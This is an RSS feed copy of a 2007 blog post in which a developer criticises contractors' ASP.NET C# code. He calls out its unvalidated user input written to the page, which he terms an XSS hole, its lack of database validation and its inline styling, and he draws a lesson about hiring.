<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
  <channel>
    <title>Shimon Krokhmal's blog - XSS</title>
    <link>http://www.krokhmal.com/</link>
    <description>medium : .NET | JavaScript | Secure coding | Databases | Sql Server | Oracle | CodeSmith | SPS | Life</description>
    <language>en-us</language>
    <copyright>Shimon Krokhmal</copyright>
    <lastBuildDate>Fri, 02 Mar 2007 23:02:59 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 2.0.7226.0</generator>
    <managingEditor>Shimonkr@gmail.com</managingEditor>
    <webMaster>Shimonkr@gmail.com</webMaster>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=83987760-38c6-4b8a-b611-e0632746e634</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,83987760-38c6-4b8a-b611-e0632746e634.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,83987760-38c6-4b8a-b611-e0632746e634.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=83987760-38c6-4b8a-b611-e0632746e634</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Let me tell you some story thats happening now.<br />
couple month ago i hired some folks to do a part of some project due to time limits
that i have.<br />
now, i know those guys personally and checking thier technical backgroung seemed to
be irrelevant (mistake no' 1).<br />
i thought, how hard can i be to make some GUI to an application that all the other
layers are done (3 tier architecture).
</p>
        <p>
So, instead of 1 month development it turned to more than 3 months already, (30% progress)<br />
god knows how long it will take them to finish it .
</p>
        <p>
and now, when i finally see some progress, i see code like this :
</p>
        <p class="HighlightedCode">
          <span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">if</span> (!Page.IsValid)<br />
{<br />
}<br /><span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">else</span><br />
{<br />
    InsertNewCustomer();<br />
    lblClientMessage.Text <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> NewClientText();<br />
    ClearText();<br />
}</span>
        </p>
        <p>
ok, who are does guys ?<br />
you think that a skilled programmer with 3 years of expirience would not write such
crapy code like this (those things just get me mad.)<br />
why they think that i allow such code to go on production ?<br />
not speaking about the XSS holes that they made (just by the book....)<br />
looks like they didn't read <a href="http://www.krokhmal.com/2006/10/20/WritingSecureNetCodeForWebApplicationsLesson1XSSPrevention.aspx">this
guide</a></p>
        <p>
i mean look at this thing, how many mistakes you can do as a single code :
</p>
        <p class="HighlightedCode">
          <span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">        <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">private</span><span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">string</span> NewClientText()<br />
        {<br />
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">string</span> strNewClient <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtName.Text <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">+</span><span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"
"</span><span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">+</span> txtFamily.Text <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">+</span><span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"
"</span><span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">+</span><span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"הוזן
בהצלחה"</span>;<br />
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">return</span> strNewClient;<br />
        }<br /><br />
        <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">private</span><span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">void</span> btnAdd_Click(<span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">object</span> sender,
System.EventArgs e)<br />
        {<br />
            lblClientMessage.Text <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span><span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">""</span>;<br /><br />
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">if</span> (!Page.IsValid)<br />
            {<br />
            }<br />
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">else</span><br />
            {<br />
                InsertNewCustomer();<br />
                lblClientMessage.Text <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> NewClientText();<br />
                ClearText();<br />
            }<br />
        }<br /><br />
        <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">private</span><span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">void</span> InsertNewCustomer()<br />
        {<br />
            Customers
newCustomer <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span><span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">new</span> Customers();<br /><br />
            newCustomer.Name <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtName.Text;<br />
            newCustomer.LastName <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtFamily.Text;<br />
            newCustomer.Notes <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtNotes.Text;<br />
            newCustomer.isStudent <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> chkStudent.Checked;<br />
            newCustomer.Phone <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> TxtPhone.Text;<br />
            newCustomer.Cellular <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtCellular.Text;<br />
            newCustomer.Email <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtEmail.Text;<br />
            newCustomer.Address <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> txtAddress.Text;<br /><br />
            <span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">if</span> (txtBirth.Text.Trim()
!<span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span><span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">""</span>)<br />
            {<br />
                newCustomer.BirthDate <span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">=</span> Convert.ToDateTime(txtBirth.Text);<br />
            }<br /><br />
            custDal.Add(newCustomer);<br />
        }<br /></span>
        </p>
        <ul>
          <li>
writing data to the page without validating it first 
</li>
          <li>
some logical twists - (if page not valid, dont do anything, else do something...),
why on earth ? why ? 
</li>
          <li>
inserting to the database without validating the input (for those who are femilier
with my architecture, validating is a single line "entity.Validate();" 
</li>
          <li>
no exception managment what so ever. 
</li>
          <li>
no code comments 
</li>
          <li>
            <strong>Client side input validations</strong>
          </li>
        </ul>
        <p>
here is some more goodies from the same author :
</p>
        <p class="HighlightedCode">
          <span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">lblAddress.Style.Add(<span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"text-align"</span>,<span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"right"</span>);</span>
        </p>
        <p>
what happened to CSS files ?<br />
thier are lots of lines like this defining the style for every object.<br />
i dont wanna know what are they planned to do when they need to change the style one
by one .
</p>
        <p>
man, this is a little piece of code, i'm affraid to see whats going on , on the rest
of the code.
</p>
        <p>
this is some lessons that you learn on the hard way....
</p>
        <p>
          <strong>"i will never hire people without checking thier technical background"<br />
"i will never hire people without checking thier technical background"<br />
"i will never hire people without checking thier technical background"<br />
"i will never hire people without checking thier technical background"<br />
"i will never hire people without checking thier technical background"<br />
"i will never hire people without checking thier technical background"</strong>
        </p>
        <p>
i should better get some things to my own hands before it gets to late .<br />
anyone wants a job to create some gui ?<br /></p>
        <p>
 
</p>
        <img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=83987760-38c6-4b8a-b611-e0632746e634" />
        <br />
        <hr />
Shimon krokhmal, a part of the Krokhmal family</body>
      <title>Hasty hiring makes the project go very long.</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,83987760-38c6-4b8a-b611-e0632746e634.aspx</guid>
      <link>http://www.krokhmal.com/2007/03/02/HastyHiringMakesTheProjectGoVeryLong.aspx</link>
      <pubDate>Fri, 02 Mar 2007 23:02:59 GMT</pubDate>
      <description>&lt;p&gt;
Let me tell you some story thats happening now.&lt;br&gt;
couple month ago i hired some folks to do a part of some project due to time limits
that i have.&lt;br&gt;
now, i know those guys personally and checking thier technical backgroung seemed to
be irrelevant (mistake no' 1).&lt;br&gt;
i thought, how hard can i be to make some GUI to an application that all the other
layers are done (3 tier architecture).
&lt;/p&gt;
&lt;p&gt;
So, instead of 1 month development it turned to more than 3 months already, (30% progress)&lt;br&gt;
god knows how long it will take them to finish it .
&lt;/p&gt;
&lt;p&gt;
and now, when i finally see some progress, i see code like this :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt; (!Page.IsValid)&lt;br&gt;
{&lt;br&gt;
}&lt;br&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;else&lt;/span&gt;
&lt;br&gt;
{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InsertNewCustomer();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblClientMessage.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; NewClientText();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClearText();&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
ok, who are does guys ?&lt;br&gt;
you think that a skilled programmer with 3 years of expirience would not write such
crapy code like this (those things just get me mad.)&lt;br&gt;
why they think that i allow such code to go on production ?&lt;br&gt;
not speaking about the XSS holes that they made (just by the book....)&lt;br&gt;
looks like they didn't read &lt;a href="http://www.krokhmal.com/2006/10/20/WritingSecureNetCodeForWebApplicationsLesson1XSSPrevention.aspx"&gt;this
guide&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
i mean look at this thing, how many mistakes you can do as a single code :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;private&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;string&lt;/span&gt; NewClientText()&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;string&lt;/span&gt; strNewClient &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtName.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;+&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"
"&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;+&lt;/span&gt; txtFamily.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;+&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"
"&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;+&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"הוזן
בהצלחה"&lt;/span&gt;;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;return&lt;/span&gt; strNewClient;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;private&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;void&lt;/span&gt; btnAdd_Click(&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;object&lt;/span&gt; sender,
System.EventArgs e)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblClientMessage.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;""&lt;/span&gt;;&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt; (!Page.IsValid)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;else&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InsertNewCustomer();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblClientMessage.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; NewClientText();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClearText();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;private&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;void&lt;/span&gt; InsertNewCustomer()&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Customers
newCustomer &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;new&lt;/span&gt; Customers();&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Name &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtName.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.LastName &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtFamily.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Notes &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtNotes.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.isStudent &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; chkStudent.Checked;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Phone &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; TxtPhone.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Cellular &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtCellular.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Email &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtEmail.Text;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.Address &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; txtAddress.Text;&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt; (txtBirth.Text.Trim()
!&lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;""&lt;/span&gt;)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newCustomer.BirthDate &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; Convert.ToDateTime(txtBirth.Text);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;custDal.Add(newCustomer);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
writing data to the page without validating it first 
&lt;li&gt;
some logical twists - (if page not valid, dont do anything, else do something...),
why on earth ? why ? 
&lt;li&gt;
inserting to the database without validating the input (for those who are femilier
with my architecture, validating is a single line "entity.Validate();" 
&lt;li&gt;
no exception managment what so ever. 
&lt;li&gt;
no code comments 
&lt;li&gt;
&lt;strong&gt;Client side input validations&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
here is some more goodies from the same author :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;lblAddress.Style.Add(&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"text-align"&lt;/span&gt;,&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"right"&lt;/span&gt;);&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
what happened to CSS files ?&lt;br&gt;
thier are lots of lines like this defining the style for every object.&lt;br&gt;
i dont wanna know what are they planned to do when they need to change the style one
by one .
&lt;/p&gt;
&lt;p&gt;
man, this is a little piece of code, i'm affraid to see whats going on , on the rest
of the code.
&lt;/p&gt;
&lt;p&gt;
this is some lessons that you learn on the hard way....
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;"i will never hire people without checking thier technical background"&lt;br&gt;
"i will never hire people without checking thier technical background"&lt;br&gt;
"i will never hire people without checking thier technical background"&lt;br&gt;
"i will never hire people without checking thier technical background"&lt;br&gt;
"i will never hire people without checking thier technical background"&lt;br&gt;
"i will never hire people without checking thier technical background"&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
i should better get some things to my own hands before it gets to late .&lt;br&gt;
anyone wants a job to create some gui ?&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=83987760-38c6-4b8a-b611-e0632746e634" /&gt;
&lt;br /&gt;
